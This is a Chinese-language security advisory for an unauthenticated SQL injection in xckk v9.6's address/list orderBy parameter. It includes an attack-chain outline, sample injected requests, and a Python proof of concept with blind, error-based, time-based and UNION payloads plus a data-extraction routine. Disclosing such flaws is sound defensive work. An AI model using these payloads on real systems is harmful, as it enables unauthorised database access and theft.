IPBUF安全漏洞报告
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CVE-2025-60266 CVSS 6.5 中危

CVE-2025-60266:xckk v9.6 address/list接口SQL注入漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-60266
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
xckk

相关标签

SQL注入xckkCVE-2025-60266orderBy注入中危漏洞无需认证网络攻击数据库安全Java Web信息泄露

漏洞概述

CVE-2025-60266是xckk系统v9.6版本中存在的一个SQL注入漏洞。该漏洞位于address/list接口的orderBy参数处,由于该参数未经过充分的安全过滤和参数化处理,攻击者可以通过构造恶意的SQL语句作为orderBy参数的值,注入到后端数据库查询中,从而实现未授权的数据库操作。

xckk是一款信息管理系统,其address/list接口用于查询和展示地址列表数据,通常会接收用户传入的排序字段(orderBy参数)来确定查询结果的排序方式。然而,在v9.6版本中,该参数直接被拼接到SQL查询语句中,未进行任何转义或参数化处理,导致攻击者可以通过注入额外的SQL语句片段来操控数据库查询逻辑。

该漏洞的CVSS 3.1评分为6.5,属于中等严重等级。攻击者无需认证即可通过网络远程利用,且不需要用户交互。漏洞的成功利用可能造成数据库信息的未授权读取或篡改,对系统的机密性和完整性造成低级别的影响。虽然该漏洞不会直接导致系统不可用,但攻击者可以利用SQL注入进一步探测数据库结构、提取敏感数据,甚至在某些数据库配置下执行系统命令,从而扩大攻击影响。

该漏洞由安全研究员int-ux发现并报告,漏洞详细信息已在Gitee和GitHub上公开披露。建议使用xckk v9.6及以下版本的用户及时关注官方补丁发布情况,并采取相应的防护措施。

技术细节

该SQL注入漏洞的技术原理在于address/list接口对orderBy参数的处理不当。在标准的SQL查询中,ORDER BY子句用于对查询结果进行排序,通常形式为:SELECT * FROM addresses ORDER BY <column_name> [ASC|DESC]。

在xckk v9.6版本的实现中,后端代码直接将用户传入的orderBy参数拼接到SQL语句中,而未使用预编译参数化查询或对参数进行严格的合法性校验。攻击者可以通过在orderBy参数中注入SQL语句片段来改变原始查询的语义。

典型的利用方式包括:
1. 注入UNION SELECT语句来读取其他数据库表中的数据;
2. 利用ORDER BY后的子查询进行盲注,通过布尔或时间差异提取数据;
3. 利用IF/CASE语句进行基于条件的注入。

例如,攻击者可以发送如下请求:
GET /address/list?orderBy=id;SELECT+1--

或者利用基于布尔的盲注:
GET /address/list?orderBy=IF(1=1,id,(SELECT+1+FROM+information_schema.tables))--

由于漏洞无需认证即可利用,攻击者只需通过网络直接向目标系统的address/list接口发送精心构造的HTTP请求即可触发。漏洞的影响范围包括数据库敏感信息的泄露(如用户凭证、个人信息等)以及数据篡改风险。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络侦察发现目标系统运行xckk v9.6版本,通过分析系统接口识别出address/list端点接收orderBy参数。
STEP 2
步骤2:漏洞探测
攻击者向address/list接口发送带有特殊SQL字符的orderBy参数(如单引号、分号、UNION SELECT等),观察响应差异以确认SQL注入漏洞的存在。
STEP 3
步骤3:注入利用
攻击者根据数据库类型(推测为MySQL)构造相应的注入payload,利用布尔盲注、时间盲注或UNION注入等技术提取数据库信息。
STEP 4
步骤4:数据提取
通过注入语句查询information_schema获取数据库结构,进一步提取用户表、密码哈希等敏感数据。
STEP 5
步骤5:权限提升或数据破坏
利用获取的数据尝试登录系统,或通过注入进一步执行数据库操作如INSERT/UPDATE/DELETE来篡改或破坏数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60266 - xckk v9.6 SQL Injection PoC # Vulnerability: SQL injection via orderBy parameter in address/list endpoint # Author: Security Research (int-ux) import requests import sys TARGET_URL = "http://target-host" ENDPOINT = "/address/list" def test_sql_injection(target_url): """Test SQL injection vulnerability in orderBy parameter""" url = target_url + ENDPOINT # Normal request baseline normal_payload = {"orderBy": "id"} try: normal_resp = requests.get(url, params=normal_payload, timeout=10) normal_length = len(normal_resp.text) print(f"[+] Normal response length: {normal_length}") except Exception as e: print(f"[-] Connection error: {e}") return # Boolean-based blind injection test # If condition is true, order by id; if false, cause error or different result payloads = [ # Test 1: Basic injection check ("id", "Normal"), ("id,(SELECT 1)", "Union/Subquery"), # Test 2: Boolean-based blind ("IF(1=1,id,username)", "Boolean true"), ("IF(1=2,id,username)", "Boolean false"), # Test 3: Error-based ("id AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)", "Error-based"), # Test 4: Time-based blind ("id AND SLEEP(3)", "Time-based"), # Test 5: UNION-based ("1 UNION SELECT 1,2,3,4,5-- -", "UNION injection"), ] for payload, desc in payloads: try: resp = requests.get(url, params={"orderBy": payload}, timeout=15) print(f"[+] Payload: {desc} | Status: {resp.status_code} | Length: {len(resp.text)}") # Check for time-based injection if "SLEEP" in payload: import time start = time.time() requests.get(url, params={"orderBy": payload}, timeout=15) elapsed = time.time() - start if elapsed > 2: print(f"[!] TIME-BASED INJECTION CONFIRMED! Elapsed: {elapsed:.2f}s") except requests.exceptions.Timeout: print(f"[!] TIMEOUT - Possible time-based injection: {desc}") except Exception as e: print(f"[-] Error with payload '{desc}': {e}") def extract_data_blind(target_url, table_name): """Extract data using boolean-based blind SQL injection""" url = target_url + ENDPOINT extracted = "" for i in range(1, 50): # Extract character by character using ASCII comparison low, high = 32, 126 while low <= high: mid = (low + high) // 2 # MySQL boolean blind injection payload payload = f"IF(ASCII(SUBSTRING((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}'),{i},1))>{mid},id,username)" try: resp = requests.get(url, params={"orderBy": payload}, timeout=10) # Compare response to determine boolean result if len(resp.text) == len(requests.get(url, params={"orderBy": "id"}, timeout=10).text): low = mid + 1 else: high = mid - 1 except: break if low > 126: break extracted += chr(low) print(f"[+] Extracted so far: {extracted}") return extracted if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Testing SQL injection on: {target}") test_sql_injection(target)

影响范围

xckk v9.6

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)中添加针对address/list接口orderBy参数的SQL注入防护规则;2)在反向代理层面对orderBy参数进行正则过滤,仅允许字母、数字和下划线等安全字符;3)限制address/list接口的访问频率和来源IP,防止自动化注入攻击;4)监控数据库日志,排查是否存在异常的SQL查询记录;5)临时关闭或限制address/list接口的对外访问,仅对可信内网开放。

参考链接

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